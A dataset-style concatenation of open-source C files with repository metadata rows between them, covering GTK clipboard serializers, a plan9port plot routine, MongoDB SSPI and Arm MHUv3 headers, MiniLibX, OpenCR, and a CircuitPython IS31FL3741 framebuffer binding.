g_string_append (str, uri);
g_free (uri);
}
else
{
g_string_append (str, "# GTK does not crash when copying a NULL GFile!");
}
g_string_append (str, "\r\n");
}
else if (G_VALUE_HOLDS (value, GDK_TYPE_FILE_LIST))
{
GSList *l;
for (l = g_value_get_boxed (value); l; l = l->next)
{
uri = g_file_get_uri (l->data);
g_string_append (str, uri);
g_free (uri);
g_string_append (str, "\r\n");
}
}
g_output_stream_write_all_async (gdk_content_serializer_get_output_stream (serializer),
str->str,
str->len,
gdk_content_serializer_get_priority (serializer),
gdk_content_serializer_get_cancellable (serializer),
file_serializer_finish,
serializer);
gdk_content_serializer_set_task_data (serializer, g_string_free (str, FALSE), g_free);
}
static void
file_text_serializer (GdkContentSerializer *serializer)
{
const GValue *value;
char *path = NULL;
value = gdk_content_serializer_get_value (serializer);
if (G_VALUE_HOLDS (value, G_TYPE_FILE))
{
GFile *file;
file = g_value_get_object (value);
if (file)
{
path = g_file_get_path (file);
if (path == NULL)
path = g_file_get_uri (file);
}
}
else if (G_VALUE_HOLDS (value, GDK_TYPE_FILE_LIST))
{
GString *str;
GSList *l;
str = g_string_new (NULL);
for (l = g_value_get_boxed (value); l; l = l->next)
{
path = g_file_get_path (l->data);
if (path == NULL)
path = g_file_get_uri (l->data);
g_string_append (str, path);
g_free (path);
if (l->next)
g_string_append (str, " ");
}
path = g_string_free (str, FALSE);
}
g_assert (path != NULL);
g_output_stream_write_all_async (gdk_content_serializer_get_output_stream (serializer),
path,
strlen (path),
gdk_content_serializer_get_priority (serializer),
gdk_content_serializer_get_cancellable (serializer),
file_serializer_finish,
serializer);
gdk_content_serializer_set_task_data (serializer, path, g_free);
}
static void
color_serializer_finish (GObject *source,
GAsyncResult *result,
gpointer serializer)
{
GOutputStream *stream = G_OUTPUT_STREAM (source);
GError *error = NULL;
if (!g_output_stream_write_all_finish (stream, result, NULL, &error))
gdk_content_serializer_return_error (serializer, error);
else
gdk_content_serializer_return_success (serializer);
}
static void
color_serializer (GdkContentSerializer *serializer)
{
const GValue *value;
GdkRGBA *rgba;
guint16 *data;
value = gdk_content_serializer_get_value (serializer);
rgba = g_value_get_boxed (value);
data = g_new0 (guint16, 4);
if (rgba)
{
data[0] = (guint16) (rgba->red * 65535);
data[1] = (guint16) (rgba->green * 65535);
data[2] = (guint16) (rgba->blue * 65535);
data[3] = (guint16) (rgba->alpha * 65535);
}
g_output_stream_write_all_async (gdk_content_serializer_get_output_stream (serializer),
data,
4 * sizeof (guint16),
gdk_content_serializer_get_priority (serializer),
gdk_content_serializer_get_cancellable (serializer),
color_serializer_finish,
serializer);
gdk_content_serializer_set_task_data (serializer, data, g_free);
}
static void
init (void)
{
static gboolean initialized = FALSE;
GSList *formats, *f;
const char *charset;
if (initialized)
return;
initialized = TRUE;
formats = gdk_pixbuf_get_formats ();
/* Make sure png comes first */
for (f = formats; f; f = f->next)
{
GdkPixbufFormat *fmt = f->data;
char *name;
name = gdk_pixbuf_format_get_name (fmt);
if (g_str_equal (name, "png"))
{
formats = g_slist_delete_link (formats, f);
formats = g_slist_prepend (formats, fmt);
g_free (name);
break;
}
g_free (name);
}
for (f = formats; f; f = f->next)
{
GdkPixbufFormat *fmt = f->data;
char **mimes, **m;
if (!gdk_pixbuf_format_is_writable (fmt))
continue;
mimes = gdk_pixbuf_format_get_mime_types (fmt);
for (m = mimes; *m; m++)
{
gdk_content_register_serializer (GDK_TYPE_TEXTURE,
*m,
pixbuf_serializer,
gdk_pixbuf_format_get_name (fmt),
g_free);
gdk_content_register_serializer (GDK_TYPE_PIXBUF,
*m,
pixbuf_serializer,
gdk_pixbuf_format_get_name (fmt),
g_free);
}
g_strfreev (mimes);
}
g_slist_free (formats);
#if defined(G_OS_UNIX) && !defined(__APPLE__)
file_transfer_portal_register ();
#endif
gdk_content_register_serializer (G_TYPE_FILE,
"text/uri-list",
file_uri_serializer,
NULL,
NULL);
gdk_content_register_serializer (G_TYPE_FILE,
"text/plain;charset=utf-8",
file_text_serializer,
NULL,
NULL);
gdk_content_register_serializer (GDK_TYPE_FILE_LIST,
"text/uri-list",
file_uri_serializer,
NULL,
NULL);
gdk_content_register_serializer (GDK_TYPE_FILE_LIST,
"text/plain;charset=utf-8",
file_text_serializer,
NULL,
NULL);
gdk_content_register_serializer (G_TYPE_STRING,
"text/plain;charset=utf-8",
string_serializer,
(gpointer) "utf-8",
NULL);
if (!g_get_charset (&charset))
{
char *mime = g_strdup_printf ("text/plain;charset=%s", charset);
gdk_content_register_serializer (G_TYPE_STRING,
mime,
string_serializer,
(gpointer) charset,
NULL);
g_free (mime);
}
gdk_content_register_serializer (G_TYPE_STRING,
"text/plain",
string_serializer,
(gpointer) "ASCII",
NULL);
gdk_content_register_serializer (GDK_TYPE_RGBA,
"application/x-color",
color_serializer,
NULL,
NULL);
}
|
d441024192df961b6c5dcc63ef7ad9e3a1041163
|
89db60818afeb3dc7c3b7abe9ceae155f074f7f2
|
/src/cmd/plot/libplot/erase.c
|
ab9134752940e7fc7ca92aaec90fbef9316c460e
|
[
"bzip2-1.0.6",
"LPL-1.02",
"MIT"
] |
permissive
|
9fans/plan9port
|
63c3d01928c6f8a8617d3ea6ecc05bac72391132
|
65c090346a38a8c30cb242d345aa71060116340c
|
refs/heads/master
| 2023-08-25T17:14:26.233105
| 2023-08-23T13:21:37
| 2023-08-23T18:47:08
| 26,095,474
| 1,645
| 468
|
NOASSERTION
| 2023-09-05T16:55:41
| 2014-11-02T22:40:13
|
C
|
UTF-8
|
C
| false
| false
| 116
|
c
|
erase.c
|
#include "mplot.h"
void erase(void){
m_swapbuf();
m_clrwin(clipminx, clipminy, clipmaxx, clipmaxy, e1->backgr);
}
|
bc51fa57f4d53cd748afd3872e8d20b06a75f441
|
984bc4181baec6e5a4b05a657e666b0e9f89f3f3
|
/3rdparty/mongo-c-driver-1.21.2/src/libmongoc/src/mongoc/mongoc-sspi-private.h
|
60996fcacebc8bcca6740ca6f87d1aca6cf82b31
|
[
"Apache-2.0",
"BSD-3-Clause"
] |
permissive
|
treefrogframework/treefrog-framework
|
0173245ff92162d2107af79861505981980d1eca
|
a1df97793e8cc628779378e5adae9af6987460c1
|
refs/heads/master
| 2023-08-22T03:57:58.891846
| 2023-05-18T14:00:42
| 2023-05-18T14:00:42
| 7,067,532
| 1,152
| 263
|
BSD-3-Clause
| 2023-08-08T20:25:03
| 2012-12-08T13:17:01
|
C++
|
UTF-8
|
C
| false
| false
| 2,479
|
h
|
mongoc-sspi-private.h
|
/*
* Copyright 2017 MongoDB, Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#include "mongoc-prelude.h"
#ifndef MONGOC_SSPI_PRIVATE_H
#define MONGOC_SSPI_PRIVATE_H
#include <bson/bson.h>
#include "mongoc-sasl-private.h"
BSON_BEGIN_DECLS
#define SECURITY_WIN32 1 /* Required for SSPI */
#include <Windows.h>
#include <limits.h>
#include <sspi.h>
#include <string.h>
#define MONGOC_SSPI_AUTH_GSS_ERROR -1
#define MONGOC_SSPI_AUTH_GSS_COMPLETE 1
#define MONGOC_SSPI_AUTH_GSS_CONTINUE 0
typedef struct {
mongoc_sasl_t sasl;
CredHandle cred;
CtxtHandle ctx;
WCHAR *spn;
SEC_CHAR *response;
SEC_CHAR *username;
ULONG flags;
UCHAR haveCred;
UCHAR haveCtx;
ULONG qop;
} mongoc_sspi_client_state_t;
void
_mongoc_sspi_set_gsserror (DWORD errCode, const SEC_CHAR *msg);
void
_mongoc_sspi_destroy_sspi_client_state (mongoc_sspi_client_state_t *state);
int
_mongoc_sspi_auth_sspi_client_init (WCHAR *service,
ULONG flags,
WCHAR *user,
ULONG ulen,
WCHAR *domain,
ULONG dlen,
WCHAR *password,
ULONG plen,
mongoc_sspi_client_state_t *state);
int
_mongoc_sspi_auth_sspi_client_step (mongoc_sspi_client_state_t *state,
SEC_CHAR *challenge);
int
_mongoc_sspi_auth_sspi_client_unwrap (mongoc_sspi_client_state_t *state,
SEC_CHAR *challenge);
int
_mongoc_sspi_auth_sspi_client_wrap (mongoc_sspi_client_state_t *state,
SEC_CHAR *data,
SEC_CHAR *user,
ULONG ulen,
INT protect);
BSON_END_DECLS
#endif /* MONGOC_SSPI_PRIVATE_H */
|
b8d19241ee3b6ffa5fea502ec8d672863a3ff391
|
f0cc4fe245a513342ab088414042f69362547f59
|
/mlx_get_color_value.c
|
b620970764c52bd85b203df64b5f8384339cf887
|
[
"BSD-2-Clause"
] |
permissive
|
42Paris/minilibx-linux
|
1f1e7d96d34ba51e3b07daa1e586cf2e6ad01339
|
7dc53a411a7d4ae286c60c6229bd1e395b0efb82
|
refs/heads/master
| 2022-12-17T10:13:49.868698
| 2021-10-30T18:54:26
| 2021-10-30T18:54:26
| 253,899,374
| 326
| 113
|
BSD-2-Clause
| 2023-02-05T22:59:26
| 2020-04-07T20:02:53
|
C
|
UTF-8
|
C
| false
| false
| 749
|
c
|
mlx_get_color_value.c
|
/*
** mlx_get_color_value.c for MiniLibX in
**
** Made by Charlie Root
** Login <ol@epitech.net>
**
** Started on Mon Jul 31 19:01:33 2000 Charlie Root
** Last update Thu Oct 4 15:04:13 2001 Charlie Root
*/
#include "mlx_int.h"
int mlx_get_color_value(t_xvar *xvar,int color)
{
return(mlx_int_get_good_color(xvar,color));
}
int mlx_int_get_good_color(t_xvar *xvar,int color)
{
XColor xc;
if (xvar->depth>=24)
return (color);
xc.red = (color>>8)&0xFF00;
xc.green = color&0xFF00;
xc.blue = (color<<8)&0xFF00;
xc.pixel = ((xc.red>>(16-xvar->decrgb[1]))<<xvar->decrgb[0])+
((xc.green>>(16-xvar->decrgb[3]))<<xvar->decrgb[2])+
((xc.blue>>(16-xvar->decrgb[5]))<<xvar->decrgb[4]);
return (xc.pixel);
}
|
fd566245f8026b6a2bbe8af217e60399d6ddc101
|
fdbb74a95924e2677466614f6ab6e2bb13b2a95a
|
/libc/isystem/fnmatch.h
|
9bfad342b4f39c3dc1e6001d6bfe63f6c2ff69e7
|
[
"ISC"
] |
permissive
|
jart/cosmopolitan
|
fb11b5658939023977060a7c6c71a74093d9cb44
|
0d748ad58e1063dd1f8560f18a0c75293b9415b7
|
refs/heads/master
| 2023-09-06T09:17:29.303607
| 2023-09-02T03:49:13
| 2023-09-02T03:50:18
| 272,457,606
| 11,887
| 435
|
ISC
| 2023-09-14T17:47:58
| 2020-06-15T14:16:13
|
C
|
UTF-8
|
C
| false
| false
| 100
|
h
|
fnmatch.h
|
#ifndef _FNMATCH_H
#define _FNMATCH_H
#include "third_party/musl/fnmatch.h"
#endif /* _FNMATCH_H */
|
f31b9f98143a42ee54278aa576b2739cd7ba74cf
|
8cdd62807f116fb92851f99bfcdd7de3c3330ed6
|
/arduino/opencr_arduino/opencr/variants/OpenCR/variant.h
|
5a5a457deafaebde9b7f48aee9f0eec3a80a02bd
|
[
"Apache-2.0"
] |
permissive
|
ROBOTIS-GIT/OpenCR
|
60ae4d28e39207430687b18e09bab88e5aee6107
|
68ec75d8a400949580ecf263e0105ea9743b878e
|
refs/heads/master
| 2023-08-24T23:05:27.672638
| 2023-08-01T08:58:39
| 2023-08-01T08:58:39
| 57,167,157
| 388
| 258
|
Apache-2.0
| 2023-09-05T04:41:46
| 2016-04-26T22:48:46
|
C
|
UTF-8
|
C
| false
| false
| 3,076
|
h
|
variant.h
|
/****************************************************************************
* Copyright (c) 2016 by Vassilis Serasidis <info@serasidis.gr>
*
* Variant definition library for Arduino STM32 + HAL + CubeMX (HALMX).
*
* This file is free software; you can redistribute it and/or modify
* it under the terms of either the GNU General Public License version 2
* or the GNU Lesser General Public License version 2.1, both as
* published by the Free Software Foundation.
****************************************************************************/
/*
* Modified on: 2016. 7.12.
* Author: Baram, PBHP
*/
#ifndef _VARIANT_OPENCR_
#define _VARIANT_OPENCR_
#include <chip.h>
#define NO_ADC 0xffff
#define NO_PWM 0xffff
#define NO_EXTI 0xffff
/*----------------------------------------------------------------------------
* Headers
*----------------------------------------------------------------------------*/
#include "Arduino.h"
#ifdef __cplusplus
#include "UARTClass.h"
#include "USBSerial.h"
#include "HardwareTimer.h"
#endif
#ifdef __cplusplus
extern "C"{
#endif // __cplusplus
/*
* Analog pins
*/
static const uint8_t A0 = 16;
static const uint8_t A1 = 17;
static const uint8_t A2 = 18;
static const uint8_t A3 = 19;
static const uint8_t A4 = 20;
static const uint8_t A5 = 21;
static const uint8_t BAT = 29;
typedef struct _Pin2PortMapArray
{
GPIO_TypeDef *GPIOx_Port;
uint32_t Pin_abstraction;
ADC_HandleTypeDef *ADCx;
uint32_t adc_channel;
TIM_HandleTypeDef *TIMx;
uint32_t timerChannel;
uint32_t extiChannel;
} Pin2PortMapArray ;
extern const Pin2PortMapArray g_Pin2PortMapArray[] ;
void Rx1_Handler(void);
void Tx1_Handler(void);
void Rx2_Handler(void);
void Tx2_Handler(void);
void Rx3_Handler(void);
void Tx3_Handler(void);
void Rx4_Handler(void);
void Tx4_Handler(void);
void Err1_Handler(void);
void Err2_Handler(void);
void Err3_Handler(void);
void Err4_Handler(void);
#ifdef __cplusplus
}
#endif
/*----------------------------------------------------------------------------
* Arduino objects - C++ only
*----------------------------------------------------------------------------*/
#ifdef __cplusplus
extern USBSerial Serial; // USB
extern UARTClass Serial1; // Arduino Serial
extern UARTClass Serial2; // Ext Serial for Bluetooth
extern UARTClass Serial3; // Ext Serial for Dynamixel
extern UARTClass Serial4; // Ext Serial for Bluetooth
#define SerialBT1 Serial2
#define SerialBT2 Serial4
#endif
#define digitalPinToInterrupt(P) ( g_Pin2PortMapArray[P].extiChannel )
#define analogPinToChannel(p) ( (p) < 6 ? (p)+A0 : (p) )
void var_init();
float getPowerInVoltage(void);
uint8_t getDipSwitch(void);
uint8_t getPushButton(void);
uint8_t getUsbConnected(void);
void setLedOn(uint8_t led_num);
void setLedOff(uint8_t led_num);
void setLedToggle(uint8_t led_num);
#define WIRE_INTERFACES_COUNT 2
#define SPI_INTERFACES_COUNT 2
#define EXTI_COUNT 10
#define PINS_COUNT 85
#endif
|
1e32caa33842c7dc04c1a571a80cbc8ae96ea9ad
|
c9bc99866cfab223c777cfb741083be3e9439d81
|
/module/mhu3/include/mod_mhu3.h
|
746bb0ff22a6e00c66b5e183482f1ef98b49d150
|
[
"BSD-3-Clause"
] |
permissive
|
ARM-software/SCP-firmware
|
4738ca86ce42d82588ddafc2226a1f353ff2c797
|
f6bcca436768359ffeadd84d65e8ea0c3efc7ef1
|
refs/heads/master
| 2023-09-01T16:13:36.962036
| 2023-08-17T13:00:20
| 2023-08-31T07:43:37
| 134,399,880
| 211
| 165
|
NOASSERTION
| 2023-09-13T14:27:10
| 2018-05-22T10:35:56
|
C
|
UTF-8
|
C
| false
| false
| 7,195
|
h
|
mod_mhu3.h
|
/*
* Arm SCP/MCP Software
* Copyright (c) 2022, Arm Limited and Contributors. All rights reserved.
*
* SPDX-License-Identifier: BSD-3-Clause
*
* Description:
* Message Handling Unit (MHU) v3 Device Driver.
*/
#ifndef MOD_MHU3_H
#define MOD_MHU3_H
#include <fwk_macros.h>
#include <stdint.h>
#define SCP_MHU3_PBX_MBX_SIZE (64 * 1024)
/* Mask to apply to MBX_FCH_CTRL to enable Fast Channel Mailbox interrupts */
#define SCP_MHU3_MBX_INT_EN (4U)
/*!
* \addtogroup GroupModules Modules
* \{
*/
/*!
* \defgroup GroupMHUv3 Message Handling Unit (MHU) v3 Driver
* \{
*/
/*! \brief MHU v3 Channel Types */
enum mod_mhu3_channel_type {
/*! Doorbell channel type */
MOD_MHU3_CHANNEL_TYPE_DBCH,
/* Fast channel type */
MOD_MHU3_CHANNEL_TYPE_FCH,
};
/*!
* \brief API indices
*/
enum mod_mhu3_api_idx {
#ifdef BUILD_HAS_MOD_TRANSPORT
/*! TRANSPORT driver API */
MOD_MHU3_API_IDX_TRANSPORT_DRIVER,
#endif
/*! MHU3 API count */
MOD_MHU3_API_IDX_COUNT,
};
/*! \brief Doorbell channel configuration
*
* \details In MHU3 we can have up to 128 doorbell channels and each
* channel can represent 32 independent events indicated
* by a flag within the doorbell register.
* Hence in MHU3 a channel is represented by its MBX and PBX
* number(s) (e.g SCP -> AP) and the position of the event flags
*/
struct mod_mhu3_dbch_config {
/*! PBX channel number */
uint32_t pbx_channel : 8;
/*!
* Each doorbell channel has 32 bits which represents
* 32 independent 'events' per doorbell channel
* flag_pos indicates position of the bit(flag) within doorbell
* register on which this channel is expected to send or
* receive communication.
*/
uint32_t pbx_flag_pos : 8;
/*! MBX channel number */
uint32_t mbx_channel : 8;
/*! MBX flag position within channel */
uint32_t mbx_flag_pos : 8;
};
/*!
* \brief Fast channel direction, Fast Channels are unidirectional
*/
enum mod_fch_direction {
/*! Direction in: Channel used by this processor to receive messages */
MOD_MHU3_FCH_DIR_IN,
/*! Direction out: Channel used by this processor to send messages */
MOD_MHU3_FCH_DIR_OUT,
/*! Direction count */
MOD_MHU3_FCH_DIR_COUNT,
};
/*! \brief Fast channel configuration
*
* \details In MHU3 the number of Fast Channels that can be supported is
* configurable between:
* * 1-1024 when the Fast Channel word-size is 32 bits.
* * 1-512 when the Fast Channel word-size is 64 bits.
* Due to the possible number of Fast Channels, they are controlled in
* groups called Fast Channel Groups. There can be between 1 and 32 Fast
* Channel Groups in a Postbox or Mailbox each containing between 1 and 32
* Fast Channels.
*/
struct mod_mhu3_fc_config {
/*!
* Fast Channel idx:
* offset of the word in PFCW<n>_PAY
* e.g for
* idx 0 is PFCW_PAY + (0 * 4)
* idx 1 is PFCW_PAY + (1 * 4)
* grup_num marks the end of the group
* e.g.
* for idx 0 & grup_num 2 it
* is PCFW_PAY + (0 * 4) to PCFW_PAY + (0 * 4 + 4 * 2)
*/
uint16_t idx;
/*! Fast Channel Group number for the given Fast Channel
* There can be between 1-32 Fast Channel Groups.
*/
uint8_t grp_num;
/*! Fast Channel Direction */
enum mod_fch_direction direction;
};
/*! \brief Configuration of a channel between MHU(S/R) <=> MHU(R/S)
*
* \details Each MHU v3 channel is identified using its type
* e.g. Doorbell channel or Fast Channel (see ::mod_mhu3_channel_type)
* Each channel includes its associated channel information e.g.
* in doorbell channel it will be represented by a PBX channel number, its
* flag position within corresponding PBX channel, MBX channel number and
* its flag position within corresponding MBX channel.
*/
struct mod_mhu3_channel_config {
/*! Type of the MHU channel */
enum mod_mhu3_channel_type type;
/*! Configuration of the specified channel type */
union {
/*! Doorbell channel configuration */
struct mod_mhu3_dbch_config dbch;
/*! Fast channel configuration */
struct mod_mhu3_fc_config fch;
};
};
/*!
* \brief MHU v3 device
*
* \details Abstract representation of a bidirectional MHU device that consists
* of a single receive interrupt line and channel configuration.
*/
struct mod_mhu3_device_config {
/*! IRQ number of the receive interrupt line */
unsigned int irq;
/*! Base address of the registers of the incoming MHU, MBX
* (base address of the paired PBX on the target with current processor)
*/
uintptr_t in;
/*! Base address of the registers of the outgoing MHU, PBX
* (base address of the paired MBX on the target with current processor)
*/
uintptr_t out;
/*! Base address of the registers of the incoming MHU, MBX
* (as seen by the firmware/OS running on the target processor)
*/
uintptr_t in_target;
/*! Base address of the registers of the outgoing MHU, PBX
* (as seen by the firmware/OS running on the target processor)
*/
uintptr_t out_target;
/*! Channel configuration array */
struct mod_mhu3_channel_config *channels;
};
/*!
* \brief Build an MHU v3 Doorbell channel configuration
*
* \note This macro expands to a designated channel configuration, and can be
* used to initialize a ::mod_mhu3_channel_config.
*
* \details Example usage:
* \code{.c}
* struct mod_mhu3_channel_config ch = MOD_MHU3_INIT_DBCH(0, 1, 0, 1)
* \endcode
*
* \param PBX_CH_NUMBER PostBox channel number.
* \param PBX_FLAG_POS PostBox flag position.
* \param MBX_CH_NUMBER Mailbox channel number.
* \param MBX_FLAG_POS Mailbox flag position.
*
* \return Element identifier.
*/
#define MOD_MHU3_INIT_DBCH( \
PBX_CH_NUMBER, PBX_FLAG_POS, MBX_CH_NUMBER, MBX_FLAG_POS) \
{ \
.type = MOD_MHU3_CHANNEL_TYPE_DBCH, \
{ \
.dbch = { \
.pbx_channel = PBX_CH_NUMBER, \
.pbx_flag_pos = PBX_FLAG_POS, \
.mbx_channel = MBX_CH_NUMBER, \
.mbx_flag_pos = MBX_FLAG_POS, \
}, \
} \
}
/*!
* \brief Build an MHU v3 Fast channel configuration
*
* \note This macro expands to a designated fast channel configuration,
* and can be used to initialize a ::mod_mhu3_channel_config.
*
* \details Example usage:
* \code{.c}
* struct mod_mhu3_channel_config ch = MOD_MHU3_INIT_FCH(0, 1, 0)
* \endcode
*
* \param FCH_IDX Channel number.
* \param FCH_GROUP_NUM Fast Channel Group number for the given Fast Channel.
* \param FCH_DIRECTION Fast Channel direction in or out.
*
* \return Element identifier.
*/
#define MOD_MHU3_INIT_FCH(FCH_IDX, FCH_GROUP_NUM, FCH_DIRECTION) \
{ \
.type = MOD_MHU3_CHANNEL_TYPE_FCH, \
{ \
.fch = { \
.idx = FCH_IDX, \
.grp_num = FCH_GROUP_NUM, \
.direction = FCH_DIRECTION, \
}, \
} \
}
/*!
* \}
*/
/*!
* \}
*/
#endif /* MOD_MHU3_H */
|
2a8d3d7d18c8c0d3fcab73ec6b8aa0e2d44d0229
|
83b8b30ebb633eecd29ca0a7a20cc43a293c9333
|
/shared-bindings/is31fl3741/FrameBuffer.c
|
02a783fd1549a01b002538d1e163d6312162d5de
|
[
"MIT",
"GPL-1.0-or-later"
] |
permissive
|
adafruit/circuitpython
|
430ec895149d1eb814b505db39b4977a35ee88a7
|
506dca71b0cbb7af749bb51f86b01021db5483b3
|
refs/heads/main
| 2023-08-21T16:30:46.781068
| 2023-08-20T00:39:44
| 2023-08-20T00:39:44
| 66,166,069
| 3,806
| 1,560
|
MIT
| 2023-09-14T19:23:51
| 2016-08-20T20:10:40
|
C
|
UTF-8
|
C
| false
| false
| 13,178
|
c
|
FrameBuffer.c
|
/*
* This file is part of the Micro Python project, http://micropython.org/
*
* The MIT License (MIT)
*
* Copyright (c) 2021 Mark Komus
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*/
#include "py/obj.h"
#include "py/objproperty.h"
#include "py/runtime.h"
#include "py/objarray.h"
#include "shared-bindings/is31fl3741/IS31FL3741.h"
#include "shared-bindings/is31fl3741/FrameBuffer.h"
#include "shared-bindings/util.h"
#include "shared-module/displayio/__init__.h"
#include "shared-module/framebufferio/__init__.h"
#include "shared-module/framebufferio/FramebufferDisplay.h"
#include "shared-bindings/busio/I2C.h"
//| class IS31FL3741_FrameBuffer:
//| """Creates an in-memory framebuffer for a IS31FL3741 device."""
//|
//| def __init__(
//| self,
//| is31: is31fl3741.IS31FL3741,
//| width: int,
//| height: int,
//| mapping: Tuple[int, ...],
//| *,
//| framebuffer: Optional[WriteableBuffer] = None,
//| scale: bool = False,
//| gamma: bool = False
//| ) -> None:
//| """Create a IS31FL3741_FrameBuffer object with the given attributes.
//|
//| The framebuffer is in "RGB888" format using 4 bytes per pixel.
//| Bits 24-31 are ignored. The format is in RGB order.
//|
//| If a framebuffer is not passed in, one is allocated and initialized
//| to all black. In any case, the framebuffer can be retrieved
//| by passing the Is31fl3741 object to memoryview().
//|
//| A Is31fl3741 is often used in conjunction with a
//| `framebufferio.FramebufferDisplay`.
//|
//| :param is31fl3741.IS31FL3741 is31: base IS31FL3741 instance to drive the framebuffer
//| :param int width: width of the display
//| :param int height: height of the display
//| :param Tuple[int, ...] mapping: mapping of matrix locations to LEDs
//| :param Optional[WriteableBuffer] framebuffer: Optional buffer to hold the display
//| :param bool scale: if True display is scaled down by 3 when displayed
//| :param bool gamma: if True apply gamma correction to all LEDs"""
//| ...
STATIC mp_obj_t is31fl3741_FrameBuffer_make_new(const mp_obj_type_t *type, size_t n_args, size_t n_kw, const mp_obj_t *all_args) {
enum { ARG_is31, ARG_width, ARG_height, ARG_mapping, ARG_framebuffer, ARG_scale, ARG_gamma };
static const mp_arg_t allowed_args[] = {
{ MP_QSTR_is31, MP_ARG_OBJ | MP_ARG_REQUIRED },
{ MP_QSTR_width, MP_ARG_INT | MP_ARG_REQUIRED },
{ MP_QSTR_height, MP_ARG_INT | MP_ARG_REQUIRED },
{ MP_QSTR_mapping, MP_ARG_OBJ | MP_ARG_REQUIRED },
{ MP_QSTR_framebuffer, MP_ARG_OBJ | MP_ARG_KW_ONLY, { .u_obj = mp_const_none } },
{ MP_QSTR_scale, MP_ARG_BOOL | MP_ARG_KW_ONLY, { .u_bool = false } },
{ MP_QSTR_gamma, MP_ARG_BOOL | MP_ARG_KW_ONLY, { .u_bool = false } },
};
mp_arg_val_t args[MP_ARRAY_SIZE(allowed_args)];
mp_arg_parse_all_kw_array(n_args, n_kw, all_args, MP_ARRAY_SIZE(allowed_args), allowed_args, args);
is31fl3741_FrameBuffer_obj_t *self = &allocate_display_bus_or_raise()->is31fl3741;
self->base.type = &is31fl3741_FrameBuffer_type;
if (args[ARG_width].u_int <= 0) {
mp_raise_ValueError(translate("width must be greater than zero"));
}
self->scale = args[ARG_scale].u_bool;
if (self->scale) {
if (((args[ARG_height].u_int % 3) != 0) || ((args[ARG_width].u_int % 3) != 0)) {
mp_raise_ValueError(translate("Scale dimensions must divide by 3"));
}
self->scale_width = args[ARG_width].u_int / 3;
self->scale_height = args[ARG_height].u_int / 3;
} else {
self->scale_width = args[ARG_width].u_int;
self->scale_height = args[ARG_height].u_int;
}
self->auto_gamma = args[ARG_gamma].u_bool;
mp_obj_t framebuffer = args[ARG_framebuffer].u_obj;
if (framebuffer == mp_const_none) {
int width = args[ARG_width].u_int;
int height = args[ARG_height].u_int;
int bufsize = 4 * width * height;
framebuffer = mp_obj_new_bytearray_of_zeros(bufsize);
}
common_hal_is31fl3741_FrameBuffer_construct(self,
args[ARG_width].u_int,
args[ARG_height].u_int,
framebuffer,
args[ARG_is31].u_obj,
args[ARG_mapping].u_obj
);
return MP_OBJ_FROM_PTR(self);
}
//| def deinit(self) -> None:
//| """Free the resources associated with this
//| IS31FL3741 instance. After deinitialization, no further operations
//| may be performed."""
//| ...
STATIC mp_obj_t is31fl3741_FrameBuffer_deinit(mp_obj_t self_in) {
is31fl3741_FrameBuffer_obj_t *self = (is31fl3741_FrameBuffer_obj_t *)self_in;
common_hal_is31fl3741_FrameBuffer_deinit(self);
return mp_const_none;
}
STATIC MP_DEFINE_CONST_FUN_OBJ_1(is31fl3741_FrameBuffer_deinit_obj, is31fl3741_FrameBuffer_deinit);
static void check_for_deinit(is31fl3741_FrameBuffer_obj_t *self) {
if (self->framebuffer == NULL) {
raise_deinited_error();
}
}
//| brightness: float
//| """In the current implementation, 0.0 turns the display off entirely
//| and any other value up to 1.0 turns the display on fully."""
STATIC mp_obj_t is31fl3741_FrameBuffer_get_brightness(mp_obj_t self_in) {
is31fl3741_FrameBuffer_obj_t *self = (is31fl3741_FrameBuffer_obj_t *)self_in;
check_for_deinit(self);
uint8_t current = common_hal_is31fl3741_get_current(self->is31fl3741);
float brightness = (float)current / (float)0xFF;
return mp_obj_new_float(brightness);
}
MP_DEFINE_CONST_FUN_OBJ_1(is31fl3741_FrameBuffer_get_brightness_obj, is31fl3741_FrameBuffer_get_brightness);
STATIC mp_obj_t is31fl3741_FrameBuffer_set_brightness(mp_obj_t self_in, mp_obj_t value_in) {
is31fl3741_FrameBuffer_obj_t *self = (is31fl3741_FrameBuffer_obj_t *)self_in;
check_for_deinit(self);
mp_float_t brightness = mp_obj_get_float(value_in);
if (brightness < 0.0f || brightness > 1.0f) {
mp_raise_ValueError_varg(translate("%q must be %d-%d"), MP_QSTR_brightness, 0, 1);
}
uint8_t current = (uint8_t)(brightness * 0xFF);
common_hal_is31fl3741_set_current(self->is31fl3741, current);
return mp_const_none;
}
MP_DEFINE_CONST_FUN_OBJ_2(is31fl3741_FrameBuffer_set_brightness_obj, is31fl3741_FrameBuffer_set_brightness);
MP_PROPERTY_GETSET(is31fl3741_FrameBuffer_brightness_obj,
(mp_obj_t)&is31fl3741_FrameBuffer_get_brightness_obj,
(mp_obj_t)&is31fl3741_FrameBuffer_set_brightness_obj);
//| def refresh(self) -> None:
//| """Transmits the color data in the buffer to the pixels so that
//| they are shown."""
//| ...
STATIC mp_obj_t is31fl3741_FrameBuffer_refresh(mp_obj_t self_in) {
is31fl3741_FrameBuffer_obj_t *self = (is31fl3741_FrameBuffer_obj_t *)self_in;
check_for_deinit(self);
common_hal_is31fl3741_FrameBuffer_refresh(self, 0);
return mp_const_none;
}
